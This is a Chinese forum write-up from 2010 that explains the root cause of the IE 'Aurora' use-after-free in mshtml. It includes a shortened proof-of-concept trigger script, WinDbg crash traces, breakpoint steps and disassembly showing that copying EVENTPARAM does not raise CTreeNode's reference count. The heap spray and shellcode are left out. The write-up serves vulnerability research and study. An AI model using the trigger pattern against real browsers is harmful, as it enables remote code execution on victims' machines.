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IE极光漏洞的原理探秘

2010-2-1 15:26 1006 0

摘要:     详情:http://bbs.xfocusx.com/thread-7873-1-1.html     by:轩辕小聪  ...
关键词: nbsp text EVENTPARAM mshtml 582 CTreeNode eax 00000000 mov 对象

    详情:http://bbs.xfocusx.com/thread-7873-1-1.html     by:轩辕小聪     本篇参考以下文章:     [1]http://www.geoffchappell.com/viewer.htm?doc=notes/security/aurora/index.htm     [2]http://securitylabs.websense.com/content/Blogs/3530.aspx     [3]http://www.securityfocus.com/archive/1/508961     其中,[1]对此漏洞进行了极其详细的解说(就差告诉你怎么调试了),我就是看了它才了解细节上是怎么一回事,[2]则简要地进行了解说,而[3]则直接说出了调试的提示。     因此,我这里只是看了以上参考文章之后,依葫芦画瓢调试了一下,把关于调试和理解的部分整理了一下,观点并不是我自己首先得出来的。     调试环境:XP sp3 简体中文版系统,IE7(IE6更容易跳进shellcode,IE7跳进shellcode概率似乎不大,不过这里主要是为了 讨论漏洞怎么来的,IE7虽跳不进shellcode,但是也会因为访问无效地址而抛出异常,照样可以断下,所以并不影响下面讨论)。     先观察PoC网页,这里的引用把heap spray等略掉了,完整的在附件:     引用:     ......     function ev1(evt)     {     event_obj = document.createEventObject(evt);     document.getElementById("sp1").innerHTML = "";     window.setInterval(ev2, 1);     }     function ev2()     {     ......     event_obj.srcElement;     }     ......     <body>     <span id="sp1">     <img src="aurora.webp" onload="ev1(event)">     </span>     </body>     简单地理解,Body中有个span对象,span对象中包含一个img对象,img对象的onload响应例程中,调用 createEventObject创建了相应event对象的一个副本,然后将span对象的innerHtml清空,这样导致img对象的释放。在此 之后,创建一个定时器,在超时例程中访问新event对象的srcElement属性,应该是在这时候触发了漏洞。     winbg载入IE7(PoC文件名为命令行参数),IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久后抛出异常断下     引用:     (300.1ec): Access violation - code c0000005 (first chance)     First chance exceptions are reported before any exception handling.     This exception may be expected and handled.     eax=001ec7b0 ebx=44003000 ecx=44003000 edx=00206418 esi=02b609d8 edi=ffffffff     eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0         nv up ei pl nz na pe nc     cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206     mshtml!CElement::Doc:     3e5b1e60 8b01            mov     eax,dword ptr [ecx]  ds:0023:44003000=????????     Missing image name, possible paged-out or corrupt data.     Missing image name, possible paged-out or corrupt data.     0:005> kb     ChildEBP RetAddr  Args to Child     019df814 3e582b2b 001f8af8 01e23920 3e80f27c mshtml!CElement::Doc     019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99     019df848 3e66d9c5 001ec768 01e23928 00988690 mshtml!CEventObj::get_srcElement+0x15     019df870 3e5b88a8 001ec768 00988690 001f8af8 mshtml!GS_IDispatchp+0x38     019df908 3e5b8dd9 001ec768 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef     019df934 75be29d7 001ec768 000003e9 00000409 mshtml!CBase::InvokeEx+0x25     019df96c 75be2947 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx2+0xac     019df9a4 75be31e5 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx+0x56     019dfa14 75be1c0a 00986940 001caa30 000003e9 jscript!InvokeDispatchEx+0x78     019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba     019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a     019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d     019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7     019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179     019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb     019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55     019dfdcc 3e5a763d 00204ee8 001c8060 00002000 mshtml!CWindow::ExecuteTimeoutScript+0x85     019dfe14 3e5a7611 001c97b8 001c97f1 019dfe48 mshtml!CWindow::FireTimeOut+0x91     019dfe24 3e5a77b5 00002000 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152     019dfe48 77d18734 0013020a 000000d6 00002000 mshtml!GlobalWndProc+0x181     从栈回溯信息看,这的确是在定时器例程中使用event_obj.srcElement时出现的异常。     触发异常的点很容易找,但是找到为什么却不容易。     关键是要了解CEventObj::get_srcElement怎么实现的,为什么这么实现,这是我看了[1]之后才了解的。简单地说,为在event 中能够访问相应的Element,CEventObj并不是直接就在其类中保存一个CElement结构的指针,而是绕了几绕:CImgElement对 象创建后,又创建了相应的CTreeNode对象,由CTreeNode对象的属性中保存CImgElement类指针。然后将CTreeNode对象的 地址,保存在这个img的事件对象CEventObj类的一个EVENTPARAM结构中。     对此,参考文献[3]直接给出了调试的提示:     引用:     If you're interested in researching the vulnerability (using this PoC), breakpoint MSHTML!CImgElement::CImgElement, then run until MSHTML!CTreeNode::CTreeNode is hit -- this tree node is freed during MSHTML!CImgHelper::Fire_onerror, but is later accessed during     MSHTML!CEventObj::get_srcElement.     重新载入,在系统断点时输入命令bu mshtml!CImgElement::CImgElement,g运行,停在断点处一次,这时再次 g运行,IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久让它Heap spray,之后又断在 CImgElement::CImgElement     引用:     Breakpoint 0 hit     eax=002033d0 ebx=001ae3bc ecx=002033d0 edx=00000034 esi=001ae308 edi=0022ffe8     eip=3e553f4e esp=019dfb9c ebp=019dfba8 iopl=0         nv up ei pl nz na po nc     cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202     mshtml!CImgElement::CImgElement:     3e553f4e 8bff            mov     edi,edi     这时得到将创建的CImgElement对象指针,ecx=ecx=002033d0     bu CTreeNode::CTreeNode,运行断下     引用:     0:005> bu mshtml!CTreeNode::CTreeNode     0:005> g     Breakpoint 1 hit     eax=02b60880 ebx=00000000 ecx=02b60880 edx=00150608 esi=001db518 edi=00000055     eip=3e586fe7 esp=019dfb7c ebp=019dfb90 iopl=0         nv up ei pl nz na po nc     cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202     mshtml!CTreeNode::CTreeNode:     3e586fe7 8bff            mov     edi,edi     0:005> kb     ChildEBP RetAddr  Args to Child     019dfb78 3e53ffc3 00203380 002033d0 00000000 mshtml!CTreeNode::CTreeNode     019dfb90 3e551f3d 019dfbe0 002033d0 00203380 mshtml!CHtmRootParseCtx::BeginElement+0x37     019dfbb8 3e53ff25 019dfbe0 002033d0 00203380 mshtml!CHtmTextParseCtx::BeginElement+0x71     019dfbe4 3e54012b 00000000 00000001 00000000 mshtml!CHtmParse::BeginElement+0x8c     019dfc08 3e53eb07 00000000 0022ffe8 00000000 mshtml!CHtmParse::ParseBeginTag+0x112     019dfc20 3e53fad6 00000034 00fa84cc 001de4a8 mshtml!CHtmParse::ParseToken+0x76     019dfcc8 3e53b620 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::ProcessTokens+0x1a4     019dfd84 3e53bd97 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Exec+0x15d     019dfd9c 3e53bd18 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Run+0x13     019dfdb4 3e53c38f 001c7fb0 00fa84cc 001de4a8 mshtml!PostManExecute+0xdc     019dfdd4 3e53c2fc 001de4a8 00000001 019dfdf4 mshtml!PostManResume+0x9e     019dfde4 3e59f3ff 001fa800 001de4a8 019dfe28 mshtml!CHtmPost::OnDwnChanCallback+0x10     019dfdf4 3e5b79e2 001fa800 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19     019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101     019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181     019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28     019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150     019dff3c 77d18a10 019dff64 00000000 019dffb4 USER32!DispatchMessageWorker+0x306     019dff4c 3ed3e70b 019dff64 0013e490 0013e5b8 USER32!DispatchMessageW+0xf     019dffb4 7c80b699 001ab490 0013e490 0013e5b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x189     可以看到它是由CHtmRootParseCtx::BeginElement调用的,ecx=02b60880为CTreeNode类指 针,该函数第二个参数002033d0正是刚刚创建的CImgElement类指针,函数调用CTreeNode::SetElement将该 CImgElement类与CTreeNode关联:     引用:     .text:3E586FEC                 push    esi     .text:3E586FED                 push    [ebp+pCElementObject]     .text:3E586FF0                 mov     esi, ecx     .text:3E586FF2                 or      word ptr [esi+0Ah], 0FFFFh     .text:3E586FF7                 or      word ptr [esi+0Ch], 0FFFFh     .text:3E586FFC                 or      word ptr [esi+0Eh], 0FFFFh     .text:3E587001                 mov     dword ptr [esi+10h], 1     .text:3E587008                 call    CTreeNode::SetElement(CElement *)     引用:     .text:3E586F69     .text:3E586F69 public: void __thiscall CTreeNode::SetElement(class CElement *) proc near     .text:3E586F69                                         ; CODE XREF: CTreeNode::CTreeNode(CTreeNode *,CElement *)+21p     .text:3E586F69     .text:3E586F69 pCElementObject = dword ptr  8     .text:3E586F69     .text:3E586F69                 mov     edi, edi     .text:3E586F6B                 push    ebp     .text:3E586F6C                 mov     ebp, esp     .text:3E586F6E                 mov     eax, [ebp+pCElementObject]     .text:3E586F71                 test    eax, eax     .text:3E586F73                 mov     [ecx], eax     .text:3E586F75                 jz      short loc_3E586F7D     .text:3E586F75     .text:3E586F77                 mov     al, [eax+14h]     .text:3E586F7A                 mov     [ecx+8], al     .text:3E586F7A     .text:3E586F7D     .text:3E586F7D loc_3E586F7D:                           ; CODE XREF: CTreeNode::SetElement(CElement *)+Cj     .text:3E586F7D                 pop     ebp     .text:3E586F7E                 retn    4     .text:3E586F7E     .text:3E586F7E public: void __thiscall CTreeNode::SetElement(class CElement *) endp     .text:3E586F7E     步过以上部分,在此之后,网页代码使用createEventObject创建了event的副本,很囧的是,这个新的CEventObj 类,当然copy了原来对象的EVENTPARAM结构,但是根据[1]的解释,在EVENTPARAM结构内容被copy的时候,并没有增加 CTreeNode的访问计数!     CEvent::Create中调用EVENTPARAM::EVENTPARAM复制EVENTPARAM结构,但后者的代码中的确没有包括操作其中 CTreeNode(在后面的CEventObj::get_srcElement函数分析中可以看出,CTreeNode类指针在EVENTPARAM 结构的头部)增加访问计数的内容。     引用:     .text:3E6B4BC9     .text:3E6B4BC9 loc_3E6B4BC9:                           ; CODE XREF: CEventObj::Create(IHTMLEventObj * *,CDoc *,CElement *,CMarkup *,int,ushort *,EVENTPARAM *,int)+84j     .text:3E6B4BC9                 push    0D8h            ; dwBytes     .text:3E6B4BCE                 call    _MemAlloc(x)     .text:3E6B4BCE     .text:3E6B4BD3                 test    eax, eax     .text:3E6B4BD5                 jz      short loc_3E6B4BE3     .text:3E6B4BD5     .text:3E6B4BD7                 push    [ebp+arg_18]     .text:3E6B4BDA                 mov     ecx, eax     .text:3E6B4BDC                 call    EVENTPARAM::EVENTPARAM(EVENTPARAM const *)     .text:3E6B4BDC     .text:3E6B4BE1                 jmp     short loc_3E6B4BE5     .text:3E6B4BE1     .text:3E582A41     .text:3E582A41 public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) proc near     .text:3E582A41                                         ; CODE XREF: CElement::get_nodeType(long *)-164050p     .text:3E582A41                                         ; .text:3E5BFDC3p     .text:3E582A41                                         ; .text:3E5C2363p     .text:3E582A41                                         ; CElement::FireStdEvent_KeyHelper(CTreeNode *,CMessage *,int *,EVENTINFO *)+7Ap     .text:3E582A41                                         ; CElement::get_nodeType(long *)-7B645p     .text:3E582A41                                         ; CElement::get_nodeType(long *)+5FEBp ...     .text:3E582A41     .text:3E582A41 pEventParam     = dword ptr  8     .text:3E582A41     .text:3E582A41                 mov     edi, edi     .text:3E582A43                 push    ebp     .text:3E582A44                 mov     ebp, esp     .text:3E582A46                 push    ebx     .text:3E582A47                 mov     ebx, ecx     .text:3E582A49                 push    esi     .text:3E582A4A                 mov     esi, [ebp+pEventParam]     .text:3E582A4D                 push    edi     .text:3E582A4E                 xor     eax, eax     .text:3E582A50                 lea     edi, [ebx+48h]     .text:3E582A53                 stosd     .text:3E582A54                 stosd     .text:3E582A55                 stosd     .text:3E582A56                 stosd     .text:3E582A57                 xor     edx, edx     .text:3E582A59                 mov     [ebx+0C4h], edx     .text:3E582A5F                 mov     [ebx+0C8h], edx     .text:3E582A65                 mov     [ebx+0CCh], edx     .text:3E582A6B                 mov     [ebx+0D0h], edx     .text:3E582A71                 push    36h     .text:3E582A73                 pop     ecx     .text:3E582A74                 mov     edi, ebx     .text:3E582A76                 rep movsd               ; 直接copy了内容     .text:3E582A78                 mov     eax, [ebx+64h]     .text:3E582A7B                 and     dword ptr [ebx+0A8h], 0FFFFFBFFh     .text:3E582A85                 add     dword ptr [eax+8], 8     .text:3E582A89                 mov     eax, [ebx+68h]     .text:3E582A8C                 cmp     eax, edx     .text:3E582A8E                 jz      short loc_3E582A94     .text:3E582A8E     .text:3E582A90                 add     dword ptr [eax+8], 8     .text:3E582A90     .text:3E582A94     .text:3E582A94 loc_3E582A94:                           ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+4Dj     .text:3E582A94                 mov     eax, [ebx+6Ch]     .text:3E582A97                 cmp     eax, edx     .text:3E582A99                 jnz     loc_3E6A4170     .text:3E582A99     .text:3E582A9F     .text:3E582A9F loc_3E582A9F:                           ; CODE XREF: CElement::get_nodeType(long *)+13875j     .text:3E582A9F                 mov     eax, [ebx+84h]     .text:3E582AA5                 cmp     eax, edx     .text:3E582AA7                 jnz     loc_3E6A4179     .text:3E582AA7     .text:3E582AAD                 jmp     loc_3E6A4181     .text:3E582AAD     .text:3E582AAD public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) endp     .text:3E582AAD     .text:3E582AB2     .text:3E582AB2 loc_3E582AB2:                           ; CODE XREF: CElement::get_nodeType(long *)+138EEj     .text:3E582AB2                 pop     edi     .text:3E582AB3                 pop     esi     .text:3E582AB4                 mov     eax, ebx     .text:3E582AB6                 pop     ebx     .text:3E582AB7                 pop     ebp     .text:3E582AB8                 retn    4     .text:3E6A4170     .text:3E6A4170 loc_3E6A4170:                           ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+58j     .text:3E6A4170                 add     dword ptr [eax+8], 8     .text:3E6A4174                 jmp     loc_3E582A9F     .text:3E6A4174     .text:3E6A4179 ; ---------------------------------------------------------------------------     .text:3E6A4179     .text:3E6A4179 loc_3E6A4179:                           ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+66j     .text:3E6A4179                 mov     ecx, [eax]     .text:3E6A417B                 push    eax     .text:3E6A417C                 call    dword ptr [ecx+4]     .text:3E6A417F                 xor     edx, edx     .text:3E6A417F     .text:3E6A4181     .text:3E6A4181 loc_3E6A4181:                           ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+6Cj     .text:3E6A4181                 mov     eax, [ebp+lpMem]     .text:3E6A4184                 add     eax, 0C4h     .text:3E6A4189                 lea     ecx, [ebx+0C4h]     .text:3E6A418F                 push    eax     .text:3E6A4190                 mov     [ecx], edx     .text:3E6A4192                 call    CStr::Set(CStr const &)     .text:3E6A4192     .text:3E6A4197                 mov     esi, [ebp+lpMem]     .text:3E6A419A                 lea     eax, [esi+0C8h]     .text:3E6A41A0                 lea     ecx, [ebx+0C8h]     .text:3E6A41A6                 xor     edi, edi     .text:3E6A41A8                 push    eax     .text:3E6A41A9                 mov     [ecx], edi     .text:3E6A41AB                 call    CStr::Set(CStr const &)     .text:3E6A41AB     .text:3E6A41B0                 lea     eax, [esi+0CCh]     .text:3E6A41B6                 lea     ecx, [ebx+0CCh]     .text:3E6A41BC                 push    eax     .text:3E6A41BD                 mov     [ecx], edi     .text:3E6A41BF                 call    CStr::Set(CStr const &)     .text:3E6A41BF     .text:3E6A41C4                 lea     eax, [esi+0D0h]     .text:3E6A41CA                 lea     ecx, [ebx+0D0h]     .text:3E6A41D0                 push    eax     .text:3E6A41D1                 mov     [ecx], edi     .text:3E6A41D3                 call    CStr::Set(CStr const &)     .text:3E6A41D3     .text:3E6A41D8                 lea     ecx, [ebx+48h]     .text:3E6A41DB                 xor     eax, eax     .text:3E6A41DD                 mov     edi, ecx     .text:3E6A41DF                 stosd     .text:3E6A41E0                 stosd     .text:3E6A41E1                 add     esi, 48h     .text:3E6A41E4                 stosd     .text:3E6A41E5                 push    esi             ; pvargSrc     .text:3E6A41E6                 push    ecx             ; pvargDest     .text:3E6A41E7                 stosd     .text:3E6A41E8                 call    VariantCopy(x,x)     .text:3E6A41E8     .text:3E6A41ED                 jmp     loc_3E582AB2     .text:3E6A41ED
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